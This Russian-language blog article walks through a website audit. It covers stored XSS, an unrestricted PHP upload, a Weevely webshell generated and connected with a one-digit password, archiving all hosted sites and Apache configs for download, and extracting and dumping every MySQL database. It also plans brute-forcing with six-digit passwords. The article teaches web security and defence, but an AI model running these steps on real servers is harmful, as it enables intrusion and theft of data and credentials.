Как взламывают сайты

С одной стороны, этот рассказ основывается на реальном случае аудита, то есть если бы я мог рассказать о нём без купюр, то получился бы кейс, из которого начинающие аудиторы безопасности веб-приложений или веб-мастеры и администраторы смогли узнать что-то новое, но, как и с любым кейсом, совсем необязательно, что в вашей практике будет что-то аналогичное и инофрмация окажется полезной.

Но, с другой стороны, о некоторых моментах я могу рассказать только в общих чертах. Поэтому в этой инструкции будет как никогда мало команд и скриншотов (может быть, вообще не будет). Поэтому это ещё и эксперимент: давным-давно я прочитал, что «каждая формула в книге уменьшает количество читателей вдвое». И автор этого высказывания делал вывод, что нужно без формул, объяснять, например, физику, «на пальцах» - тогда тиражи будут хорошим (и он заработает много денег — видимо, подразумевалось это). Я тогда подумал, что автор сильно не прав, но теперь мне кажется, что каждый запуск консольной утилиты в командной строке тоже уменьшает количество читателей статьи вдвое. ))))) В общем, если эта теория верна, то эта статья должна набрать много просмотров ))))

1. Поиск уязвимостей в веб-приложении

Сайт представлял собой написанное с нуля веб-приложение. Для использования функций требуется ввести логин и пароль, но предусмотрен гостевой вход, поэтому на сайте прямо на главной странице написаны гостевые учётные данные для входа.

Выполняемые действия сохраняются в Истории. У действия есть заголовок и определённый текст. Оказалось, что хранимые поля не фильтруются на специальные символы и слова, поэтому быстро удалось найти и подтвердить уязвимость XSS — то есть кода в поле вводишь что-нибудь вроде

<script>alert(1)</script>

а на странице сайта (в данном случае в История) показывает всплывающее окно JavaScript.

С помощью такой уязвимости можно, например, похитить кукиз других пользователей. Но проблема в том, что, видимо, История, у каждого пользователя своя. То есть максимум, что я могу сделать в этой ситуации, это захватить кукиз пользователей с точно такими же правами как у меня — то есть только у пользователей, выполнивших вход под гостевой учётной записью. Возможно, админу доступен список Истории всех пользователей — но не факт. Плюс надо ещё придумать, как спровоцировать его зайти в Историю — а то может получиться так, что в следующий раз он туда зайдёт через год, или через два, или никогда.

Поскольку видно, что специальные символы не фильтруются, а данные, скорее всего, хранятся в базе данных, то это может означать, что должна присутствовать уязвимость SQL-инъекция, которая позволяет получить базу данных сайта. Но я не успел это проверить — обнаружилась намного более лёгкая уязвимость — небезопасная выгрузка файлов.

Суть в том, что если я запускал новое действие, то мне для ввода были доступны несколько полей — в них я и обнаружил XSS и мог обнаружить SQL-инъекцию. Но при открытии сохранённого действия из Истории, на странице появлялось ещё одно поле — для загрузки файла!!!

У меня появилась умеренная радость: с одной стороны, на множество сайтов можно загружать файлы, но благодаря ограничению на расширения загружаемых файлов, а также способу доступа к ним, практически невозможно загрузить код, который можно выполнить на сервере. Но безалаберность с фильтрацией данных в текстовых полях вселяла некоторую надежду.

Я создал файл

<?php

phpinfo();

И загрузил его на сервер. Сервер показал мне ссылку на этот файл. То есть файл загрузился! Я перешёл по ссылке и вместо того, чтобы скачаться, либо чтобы показать содержимое — файл был выполнен, то есть я увидел ту информацию, которую показывает функция phpinfo().

В чём ошибки программиста:

Такой безалаберный стиль программирования нельзя совмещать с публичной учётной записью. То есть если бы на главной странице не были написаны учётные данные для входа, то поиск и эксплуатация этих уязвимостей сильно бы затянулись.

И более главное: при написании кода всегда нужно фильтровать данные и ограничивать файлы, которые можно загружать на сервер. Даже если вы программируете «для себя» и держите файлы на локальном сервере у себя на компьютере, всё равно может случиться неприятность — кто-то может подключиться к вашему веб-серверу по локальной сети (при использовании публичным Интернетом), или ваш компьютер может быть доступен напрямую по белому IP. Очевидно, что для публичного сайта код должен писаться с постоянной мыслью о безопасности.

2. Загрузка бэкдора

В начале я хотел воспользоваться самым простым вариантом — c99unlimited.php. Это шелл в фиде файлового менеджера и в нём удобно бродить по каталогам и скачивать файлы. Но у меня он не заработал — выдал ошибку 500. Видимо, у сервера с ним какая-то несовместимость.

Это абсолютно не проблема, разнообразных шеллов в Webshells очень много — можно долго сидеть и выбирать тот, который понравится, но я решил воспользоваться ещё более любимым Weevely. У меня к этому инструменту ещё более чувства )))) Хотя у него интерфейс командной строки — так мне нравится даже больше.

Создаём новый бэкдор (да, пароль просто цифра 1):

weevely generate 1 test.php

Заливаем его на сервер.

И подключаемся к нему:

weevely https://site.ru/upload/8579.php 1

3. Осматриваемся на сервере из бэкдора

Примечание: для лучшего понимания происходоящего, рекомендуется к знакомству цикл статей «Азы работы в командной строке Linux (часть 1)».

После подключения, Weevely показал, что я нахожусь в папке /var/www/XX1/tmp.

Можно дополнительно в этом убедиться:

pwd
/var/www/XX1/tmp

Посмотрим, какие у меня права на эту папку:

ls -dl .

Вывод:

drwxrwxrwx 2 XX1 root 4096 Apr 21 14:16 .

Из этой информации следует, что владельцем папки является пользователей XX1. Но права на запись есть вообще у всех.

Кстати, а кто там я?

whoami

Вывод:

www-data

Я работаю от пользователя www-data.

4. Как скачать исходный код сайтов с сервера

Ах да, зачем я вдруг кинулся искать папку с правом на запись? Дело в том, что мне надо скачать файлы с исходным кодом — для дальнейшего анализа «в спокойной обстановке». Этих файлов много и скачивать их все по одному займёт много времени. Поэтому у меня план такой — запаковать все файлы в архив, а архив скачать.

Само собой, можно воспользоваться услугами папки /tmp, которая всегда открыта на запись для всех желающих. Но из папки /tmp я могу скачать только с помощью Weevely. Но если мне удастся сохранить архив в папку веб-сервера, то я могу скачать его прямо из веб-браузера или любой файловой качалкой. Это особенно актуально, если файл очень большой — может пригодиться докачка файла после разрыва соединения, что в командной строке с Weevely сделать не получится.

Понятно, что если мы в папке /var/www/XX1/tmp, то папкой веб-сервера является /var/www/. Посмотрим что там в ней:

ls -l /var/www/

А в ней папки других сайтов — в общей сложности 14 штук, но показать их я уже не могу.

Смотрим в шпаргалку, чтобы сохранить файлы в архив командой zip дополнительно нужно использовать опцию -r для рекурсивного добавления всего, что находится в папках, запускается следующим образом:

zip -r имя_нового_архива.zip каталог_для_архивации

Каталогом для архивации является /var/www/, архив я пока сохраню в директорию /tmp (а не в папку с сайтами, так как получится, что мы попытаемся сохранить архив в папке, которая добавляется в этот архив — возможно, это вызовет ошибку).


Запускаем команду:

zip -r /tmp/archive.zip /var/www/

На что мне возвращается сообщение:

sh: 1: zip: not found

Чёрт, на этом сервере не установлена программа zip. Можно воспользоваться встроенным эмулятором архивирования Weevely, но попробую ещё другую программу:

tar czf /tmp/archive.tgz /var/www/

А вот программа tar оказалась на сервере. Внутренние команды означают:

  • c — создать архив
  • z — алгоритм сжатия
  • f — после этой опции указывается путь до архива и имя файла

Переносим архив в папку веб-сервера, где он теперь доступен для скачивания даже с помощью браузера:

mv /tmp/archive.tgz /var/www/XX1/tmp

Чтобы узнать размер всех подпапок в папке /var/www/:

du -sh /var/www/*

Если нужно скачать только некоторые папки, то это делается командой вида:

tar czf архив.tgz папка_в_архив_1 папка_в_архив_2 папка_в_архив_3 папка_в_архив_4

5. Как узнать, какие сайты работают на сервере

Исходный код — это очень ценный трофей и он нам ещё во многом поможет. Но, как я уже сказал, на этом сервере много папок с сайтами — то есть и сайтов здесь много.

Список всех загруженных настроек и обработанных виртуальных хостов можно узнать опцией -S. А с помощью -t -D DUMP_INCLUDES можно увидеть все используемые файлы конфигурации. Правда есть проблема — исполнимый файл веб-сервера может называться или httpd, или apache2 в зависимости от системы. На производных Debian файл будет называться apache2. А на производных Arch Linux — httpd. В принципе, проблемы никакой нет попробовать обе команды и посмотреть, какая из них сработает:

httpd -S
httpd -t -D DUMP_INCLUDES

И:

apache2 -S
apache2 -t -D DUMP_INCLUDES

Как я уже сказал, в нормальных условиях эти опции должны показывать все конфигурационные файлы и все виртуальные хосты. Но, видимо, тот горе программист, который писал код для сайта, ещё взялся и за настройку веб-сервера — у меня вместо ожидаемой информации только выводится сообщение об ошибке в одном из конфигурационных файлов — не хватает SSL сертификата. Кстати, ведь это означает, что при перезапуске компьютера или только веб-сервера, — Apache, по идее, не запустится, так как это (вроде) фатальная ошибка.

Ладно, проверим вручную. Если бинарный файл называется apache2, значит конфигурационные файлы хранятся в /etc/apache2/.

Главным конфигурационным файлом Apache является /etc/apache2/apache2.conf.

В папке /etc/apache2/conf-available собраны другие конфигурационные файлы, а в папке /etc/apache2/conf-enabled можно узнать, какие из них подключены.

В папке /etc/apache2/mods-enabled можно посмотреть, какие модули Apache включены.

В папке /etc/apache2/sites-available можно узнать, настройки для каких сайтов предусмотрены, а в папке /etc/apache2/sites-enabled — какие из них активны в данный момент.

К сожалению, не могу вам показать содержимое, могу только сказать, в sites-available оказалось 18 конфигурационных файлов. В этих файлах для каждого сайта как минимум 2 обязательных директивы:

  • ServerName — здесь имя хоста, фактически, домен сайта (иногда субдомен)
  • DocumentRoot — путь до файлов на этом сервере для данного хоста

С помощью этой техники можно узнать, какие другие сайты хостит этот сервер, и где на сервере находится исходный код каждого из них.

Да чё уж там, берём всё, «дома разберёмся»:

tar czf /var/www/XX1/upload/apache_archive.tgz /etc/apache2/

6. Взлом MySQL

Если у нас есть доступ к файловой системе, то получение пароля от MySQL это дело техники.

Описанным выше способом (анализ виртуальных хостов и просмотр содержимого папок сайтов) находим адрес phpMyAdmin. Но phpMyAdmin может и отсутствовать — ничего страшного, можно работать с базой данных через консоль.

Самое главное, это проанализировать исходный код сайтов и найти там учётные данные. Чтобы упростить эту задачу, можно искать по содержимому файлов, особое внимание следует обратить таким строкам как:

  • date_default_timezone_set
  • mysqli_connect
  • mysqli_query
  • mysql_connect
  • mysql_query

А также файлам с говорящими названиями, например, connectdb.php.

Weevely имеет команду для подключения к MySQL из командной строки:

:sql_console -user ПОЛЬЗОВАТЕЛЬ -passwd ПАРОЛЬ -host localhost

Либо если MySQL разрешает удалённые подключения, можно подсоединиться к хосту напрямую:

mysql -u ПОЛЬЗОВАТЕЛЬ -pПАРОЛЬ -h IP_СЕРВЕРА

Там внутри можно посмотреть базы данных:

show databases;

Там же можно посмотреть таблицы в базе данных и содержимое таблиц.

Рекомендуется:

Если нужно сделать дамп всех баз данных для скачивания, то это делается командой:

mysqldump -u ПОЛЬЗОВАТЕЛЬ -pПАРОЛЬ --all-databases > all-databases.sql

Между опцией -p и ПАРОЛЕМ нет пробела — иначе появляется ошибка.

7. Анализ добытых паролей

База данных раскрыла много интересной информации. Но самая интересная — это список пользователей с паролями.

У нас есть имена пользователей и пароли (а также email'ы и другая типичная для профилей информация). Пароль администратора для входа на сервис точно такой же, как и пароль пользователя root от MySQL. Напомню, если вы запутались: пароль от MySQL мы нашли в исходном коде файлов сайта, а пароль админа сервиса (сайта) мы нашли в базе данных. Хотя они оказались одинаковыми smiley

Это важно — пользователь имеет тенденцию использовать одинаковые пароли — это отдельная уязвимость, между прочим.

Но ещё интереснее анализ всех паролей пользователей — почти все они шестизначные числа! Видимо, учётные данные генерировал и выдавал администратор. У администратора склонность создавать однотипные пароли — учтём это. То есть если придётся брут-форсить службы на этом сервисе (а нам придётся devil), то я уже знаю, каким будет словарь — это будет полный список чисел из шести цифр.

Ну и вообще — если пароли одинаковые, то есть смысл поискать другие службы — вдруг туда тоже подойдут уже имеющиеся у нас логины и пароли.

8. Промежуточный итог

Итак: сервер скомпрометирован через уязвимое веб-приложение.

Уже на данном этапе:

  • Получен доступ в файловую систему
  • Получен доступ к исходному коду сайта
  • Есть возможность редактировать файлы веб-сайтов
  • Получен пароль от СУБД, получен доступ к базам данных, есть возможность редактировать базы данных
  • Получены пароли пользователей от сервисов
  • Анализ паролей выявил в них явную закономерность
  • Найдены другие сайты и получен их исходный код

Можно уже сейчас составлять отчёт для владельца-заказчика и завязывать с этой оценкой безопасности.

Краткое содержание отчёта: всё плохо.

Но у этой истории будет ещё и вторая часть. Смотрите продолжение «Как взламывают сайты (часть 2)».

Рекомендуется Вам:

Добавить комментарий

Ваш e-mail не будет опубликован.